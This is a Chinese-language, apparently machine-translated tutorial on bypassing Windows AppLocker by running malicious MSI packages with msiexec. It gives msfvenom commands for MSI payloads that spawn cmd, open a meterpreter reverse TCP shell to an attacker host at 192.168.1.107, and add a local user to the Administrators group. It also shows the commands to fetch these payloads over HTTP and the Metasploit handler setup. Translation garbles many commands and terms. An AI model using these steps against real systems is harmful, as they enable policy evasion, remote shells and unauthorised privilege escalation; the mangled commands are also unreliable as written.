msiexec.exe应用程序错误,无法启动msiexec.exe
0x01 Applocker适用的相关文件格式
Windows AppLocker是Windows 7和Windows Server 2008 R2中引入的一项安全策略,用于限制有害程序的使用。在这种情况下,管理员可以限制以下程序的执行:
完全由系统管理员来限制或执行为程序设置AppLocker策略的程序或脚本。命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm可能会被阻止。
0x02挑战1:使用。绕过Applocker获取CMD的msi文件
假设你也是类似的情况,上面的应用都被屏蔽了,只有Windows Installer文件(即。msi扩展)可以不受任何限制地运行。
那么,您将如何使用msi文件来绕过这些限制并获得完整的权限外壳呢?
1.关于MSI文件的更多信息
MSI名称来自程序的原始标题,Microsoft Installer。此后,该名称已更改为Windows Installer。MSI文件扩展名文件是Windows包安装程序。安装包包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个。msi文件,包含安装数据库、摘要信息流和安装不同部件的数据流。
Windows Installer技术分为两部分一起使用,包括客户端安装服务(msiexec.exe)和微软软件安装(msi)包文件。Windows Installer使用程序包文件中包含的信息来安装程序。
Msiexec.exe程序是Windows Installer的一个组件。当安装程序调用它时,msiexec.exe使用msi.dll来读取包(。msi)文件,应用任何转换(。mst)文件,并合并安装程序提供的命令行选项。安装程序执行与安装相关的所有任务,包括将文件拷贝到硬盘、修改注册表、在桌面上创建快捷方式,以及显示对话框以提示用户在必要时安装偏好设置。
当Windows Installer安装到您的计算机上时,它将更改。msi文件,这样当您双击。msi文件,Msiexec.exe将运行它。
每个MSI包文件都包含一个关系数据库,其中存储了在许多安装步骤中安装(和删除)程序所需的指令和数据。
2.获得CMD的多种方法
(1).第一种方法:使用msfvenom生成恶意。msi文件。现在我们在kali机器中打开一个新的终端,生成一个恶意的msi包文件为cmd.msi,使用windows/exec执行exploit得到命令提示符,如下图:
MSF venom-p windows/exec CMD=CMD . exe-f MSI CMD . MSI
python-m SimpleHTTPServer 80
现在在Windows计算机中传输cmd.msi文件,以管理员身份获得命令提示符shell。这里我们使用python http server在网络中共享文件。
下载完。msi文件,您可以使用以下语法在命令提示符下用msiexec.exe运行msi文件。
语法:msiexec /quiet /i
msiexec/quiet/I C: Users Raj Desktop cmd . MSI
只要在运行提示中点击上面的命令,就会得到命令提示。
(2).第二种方法:使用msfvenom生成恶意。msi文件。
注意:即使您使用其他扩展名重命名cmd.msi文件,它也会绕过此规则。
重复上述步骤,生成一个msi文件,与msfvenom具有相同的有效载荷,并命名为cmd.png。因为我在kali中已经有一个cmd.msi文件,所以我将其重命名为cmd.msi,并使用python服务器来传输它。
下载完cmd.png文件后(实际上。msi文件)(cmd.exe的Windows操作系统被管理员阻止),您可以使用以下语法运行。在运行提示中包含msiexec.exe的msi文件。
语法:msiexec /q /i
msiexec/q/I http://192 . 168 . 1 . 107/cmd . png
只要在运行提示中点击上面的命令,就会得到命令提示。
(3).第三种方法:使用msfvenom生成恶意。msi文件。
在上面的方法中,我们通过使用windows/exec payload获得命令提示符,但是现在我们将使用Windows/Meteor Preter/Reverse _ TCP Payload通过Meteor Preter会话获得具有完全权限的命令shell。
MSF venom-p windows/meter preter/reverse _ TCP lhost=192 . 168 . 1 . 107 lport=1234f MSI shell . MSI
现在再次传输Windows计算机中的shell.msi文件,以管理员身份获得命令提示符shell,并启动multi/handler。这里我们使用python http server在网络中共享文件。
在本地计算机上下载shell.msi文件后(管理员阻止了cmd.exe的Windows操作系统),可以使用以下语法运行。在运行提示中包含msiexec.exe的msi文件。
语法:msiexec /q /i
msiexec/q/I http://192 . 168 . 1 . 107/shell . MSI
只要在运行提示符中单击上面的命令,就会通过使用这个有效负载的meterpreter会话得到命令提示符。
msf使用漏洞利用/多重/处理程序
msf漏洞利用(处理程序)设置负载窗口/meterpreter/reverse_tcp
msf漏洞(处理程序)设置lhost 192.168.1.107msf漏洞(处理程序)设置lport 1234msf漏洞(处理程序)漏洞
仪表外壳
0x03挑战2:使本地用户成为管理员组的成员
假设你也是类似的情况,上面的应用都被屏蔽了,只有Windows Installer文件(即。msi扩展)可以不受任何限制地运行。
那么,如何使用MSI文件绕过这些限制,并使管理员组的本地用户成员阻止cmd.exe运行呢?
注意:此aaru是本地用户帐户,而不是非管理员用户帐户,如下所示:
我们知道cmd.exe在本地计算机上被阻止,因为applocker执行规则策略,所以我们不能使用命令提示符将aaru添加到administrators组。
(1).第四种方法:使用msfvenom生成恶意。msi文件。
使用Windows/Exec有效负载生成MSI包admin.msi,它会发送一个命令,将用户aaru的本地管理员权限添加到目标计算机。
MSF venom-p windows/exec CMD= net local group administrator s aaru/add -f MSI admin . MSI
现在,传输Windows计算机中的admin.msi文件,将aaru添加到administrators组。这里我们使用python http server在网络中共享文件。
下载本地计算机的admin.msi文件后(其中admin阻塞了cmd.exe的Windows操作系统),您可以使用以下语法在运行提示符下用msiexec.exe运行admin.msi文件
语法:msiexec /q /i
msiexec/q/I http://192 . 168 . 1 . 107/admin . MSI
只要在运行提示符下单击上面的命令,就可以确保aaru用户已经成为管理员帐户的一部分。
在本文中,我们将学习如何使用?msi文件绕过操作系统的策略限制,在操作系统中,管理员会阻止cmd.exe和其他应用程序。
参考资料:
https://odd var . moe/2017/12/13/app locker-case-study-how-insurance-it-true-part-1/